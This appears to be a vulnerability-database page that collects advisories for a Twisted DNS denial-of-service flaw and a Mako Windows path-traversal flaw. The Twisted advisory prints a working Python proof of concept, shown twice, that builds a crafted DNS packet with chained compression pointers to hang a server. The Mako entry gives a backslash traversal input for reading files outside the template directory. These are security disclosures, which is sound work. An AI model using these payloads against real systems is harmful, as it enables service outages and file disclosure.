Vulnerability-Lookup

Vulnerability from cleanstart

Published

2026-05-18 13:34

Modified

2026-05-10 09:19

Summary

Security fixes for CVE-2026-42304, CVE-2026-44307, ghsa-2h4p-vjrc-8xpq, ghsa-grgv-6hw6-v9g4 applied in versions: 4.3.5-r0

Details

Multiple security vulnerabilities affect the jupyterhub-k8s-hub package. These issues are resolved in later releases. See references for individual vulnerability details.

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{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "jupyterhub-k8s-hub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.5-r0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Multiple security vulnerabilities affect the jupyterhub-k8s-hub package. These issues are resolved in later releases. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-CR27895",
  "modified": "2026-05-10T09:19:08Z",
  "published": "2026-05-18T13:34:20.661032Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-CR27895.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-42304"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44307"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-2h4p-vjrc-8xpq"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-grgv-6hw6-v9g4"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42304"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44307"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes for CVE-2026-42304, CVE-2026-44307, ghsa-2h4p-vjrc-8xpq, ghsa-grgv-6hw6-v9g4 applied in versions: 4.3.5-r0",
  "upstream": [
    "CVE-2026-42304",
    "CVE-2026-44307",
    "ghsa-2h4p-vjrc-8xpq",
    "ghsa-grgv-6hw6-v9g4"
  ]
}

CVE-2026-42304 (GCVE-0-2026-42304)

Vulnerability from cvelistv5 – Published: 2026-05-13 20:20 – Updated: 2026-05-14 15:45

Title

Twisted: Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains

Summary

Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-407 - Inefficient Algorithmic Complexity

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	twisted	twisted	Affected: < 26.4.0rc2

CVE-2026-44307 (GCVE-0-2026-44307)

Vulnerability from cvelistv5 – Published: 2026-05-12 21:53 – Updated: 2026-05-13 15:00

Title

Mako: Path traversal via backslash URI on Windows in TemplateLookup

Summary

Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	sqlalchemy	mako	Affected: < 1.3.12

GHSA-2H4P-VJRC-8XPQ

Vulnerability from github – Published: 2026-05-06 21:45 – Updated: 2026-05-13 16:43

Summary

Mako vulnerable to path traversal via backslash URI on Windows in TemplateLookup

Details

Summary

On Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory.

Details

The root cause is a mismatch between posixpath (used for URI normalization in get_template()) and os.path (used for file access via os.path.isfile() and validation via os.path.normpath() in Template.__init__). On Windows, os.path is ntpath, which treats \ as a path separator, while posixpath treats it as a literal character.

The vulnerability chain:

get_template() strips only leading / via re.sub(r"^\/+", "", uri) and normalizes with posixpath — backslash \ is treated as a literal character, so \..\ secret.txt passes through with .. undetected.
Template.__init__() validation uses os.path.normpath() — on Windows this resolves \..\ secret.txt to \secret.txt, which does not start with .., so the startswith("..") check passes.
os.path.isfile() on Windows interprets \ as a path separator, resolving the .. traversal and finding files outside the template directory.

Affected code

mako/lookup.py: TemplateLookup.get_template() uses posixpath.normpath/posixpath.join for path construction but os.path.isfile() for existence check
mako/template.py: Template.__init__() URI validation uses os.path.normpath() which on Windows resolves backslash traversal to a form that passes the startswith("..") guard

Impact

If an application passes user-controlled template names or include paths to TemplateLookup.get_template(), an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.

Remediation

The fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.

Severity ?

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.11"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Mako"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:45:16Z",
    "nvd_published_at": "2026-05-12T22:16:37Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOn Windows, a URI using backslash traversal (e.g. `\\..\\..\\ secret.txt`) bypasses the directory traversal check in `Template.__init__` and the `posixpath`-based normalization in `TemplateLookup.get_template()`, allowing reads of files outside the configured template directory.\n\n\n## Details\n\nThe root cause is a mismatch between `posixpath` (used for URI normalization in `get_template()`) and `os.path` (used for file access via `os.path.isfile()` and validation via `os.path.normpath()` in `Template.__init__`). On Windows, `os.path` is `ntpath`, which treats `\\` as a path separator, while `posixpath` treats it as a literal character.\n\nThe vulnerability chain:\n\n1. `get_template()` strips only leading `/` via `re.sub(r\"^\\/+\", \"\", uri)` and normalizes with `posixpath` \u2014 backslash `\\` is treated as a literal character, so `\\..\\ secret.txt` passes through with `..` undetected.\n2. `Template.__init__()` validation uses `os.path.normpath()` \u2014 on Windows this resolves `\\..\\ secret.txt` to `\\secret.txt`, which does not start with `..`, so the `startswith(\"..\")` check passes.\n3. `os.path.isfile()` on Windows interprets `\\` as a path separator, resolving the `..` traversal and finding files outside the template directory.\n\n### Affected code\n\n- `mako/lookup.py`: `TemplateLookup.get_template()` uses `posixpath.normpath`/`posixpath.join` for path construction but `os.path.isfile()` for existence check\n- `mako/template.py`: `Template.__init__()` URI validation uses `os.path.normpath()` which on Windows resolves backslash traversal to a form that passes the `startswith(\"..\")` guard\n\n## Impact\n\nIf an application passes user-controlled template names or include paths to `TemplateLookup.get_template()`, an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.\n\n## Remediation\n\nThe fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.",
  "id": "GHSA-2h4p-vjrc-8xpq",
  "modified": "2026-05-13T16:43:11Z",
  "published": "2026-05-06T21:45:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/mako/security/advisories/GHSA-2h4p-vjrc-8xpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44307"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/mako/issues/435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/mako/commit/72e10c573ca0fbcbddd4455abca8ce92a61780d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sqlalchemy/mako"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/mako/releases/tag/rel_1_3_12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mako vulnerable to path traversal via backslash URI on Windows in TemplateLookup"
}

GHSA-GRGV-6HW6-V9G4

Vulnerability from github – Published: 2026-05-05 21:12 – Updated: 2026-06-08 20:05

Summary

Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.

Technical Details

The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.

Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.

##  src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None):
        visited = set()
        self.name = b""
        off = 0
        while 1:
            l = ord(readPrecisely(strio, 1))
            if l == 0:
                if off > 0:
                    strio.seek(off)
                return
            if (l >> 6) == 3:
                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
                if new_off in visited:
                    raise ValueError("Compression loop in encoded name")
                visited.add(new_off)
                if off == 0:
                    off = strio.tell()
                strio.seek(new_off)
                continue
            label = readPrecisely(strio, l)
            if self.name == b"":
                self.name = label
            else:
                self.name = self.name + b"." + label

PoC

import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()

Impact

A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.

Remediation

Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
Share the "resolved offset" state across all records in a single message to prevent redundant processing.
Validate the number of questions before entering the decoding loop in Message.decode.

Resources

https://cwe.mitre.org/data/definitions/400.html

https://cwe.mitre.org/data/definitions/407.html

https://datatracker.ietf.org/doc/html/rfc9267

https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595

https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09

Author: Tomas Illuminati

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Twisted"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.4.0rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:12:37Z",
    "nvd_published_at": "2026-05-13T21:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n##  src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n        visited = set()\n        self.name = b\"\"\n        off = 0\n        while 1:\n            l = ord(readPrecisely(strio, 1))\n            if l == 0:\n                if off \u003e 0:\n                    strio.seek(off)\n                return\n            if (l \u003e\u003e 6) == 3:\n                new_off = (l \u0026 63) \u003c\u003c 8 | ord(readPrecisely(strio, 1))\n                if new_off in visited:\n                    raise ValueError(\"Compression loop in encoded name\")\n                visited.add(new_off)\n                if off == 0:\n                    off = strio.tell()\n                strio.seek(new_off)\n                continue\n            label = readPrecisely(strio, l)\n            if self.name == b\"\":\n                self.name = label\n            else:\n                self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n    num_pointers = 8000\n    packet_length = 65533\n    num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n    buffer = bytearray(packet_length)\n\n    struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n    ptr_offset = 12\n    for _ in range(num_pointers - 1):\n        struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n        ptr_offset += 2\n\n    null_byte_offset = ptr_offset + 2\n    struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n    buffer[null_byte_offset] = 0\n\n    question_offset = null_byte_offset + 1\n    for _ in range(num_questions):\n        if question_offset + 6 \u003c= packet_length:\n            struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n            question_offset += 6\n\n    return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n    factory = server.DNSServerFactory(clients=[])\n    protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n    transport = proto_helpers.StringTransport()\n    protocol.makeConnection(transport)\n\n    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n    print(\"payload\")\n    print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n    start = time.time()\n    protocol.dataReceived(payload)\n    end = time.time()\n\n    print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n    test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor\u0027s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati",
  "id": "GHSA-grgv-6hw6-v9g4",
  "modified": "2026-06-08T20:05:10Z",
  "published": "2026-05-05T21:12:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42304"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/twisted/twisted"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

Vulnerability from cleanstart

CVE-2026-42304 (GCVE-0-2026-42304)

CVE-2026-44307 (GCVE-0-2026-44307)

GHSA-2H4P-VJRC-8XPQ

Summary

Details

Affected code

Impact

Remediation

GHSA-GRGV-6HW6-V9G4

Details

Technical Details

PoC

Impact

Remediation

Resources

Tags

Sightings

Nomenclature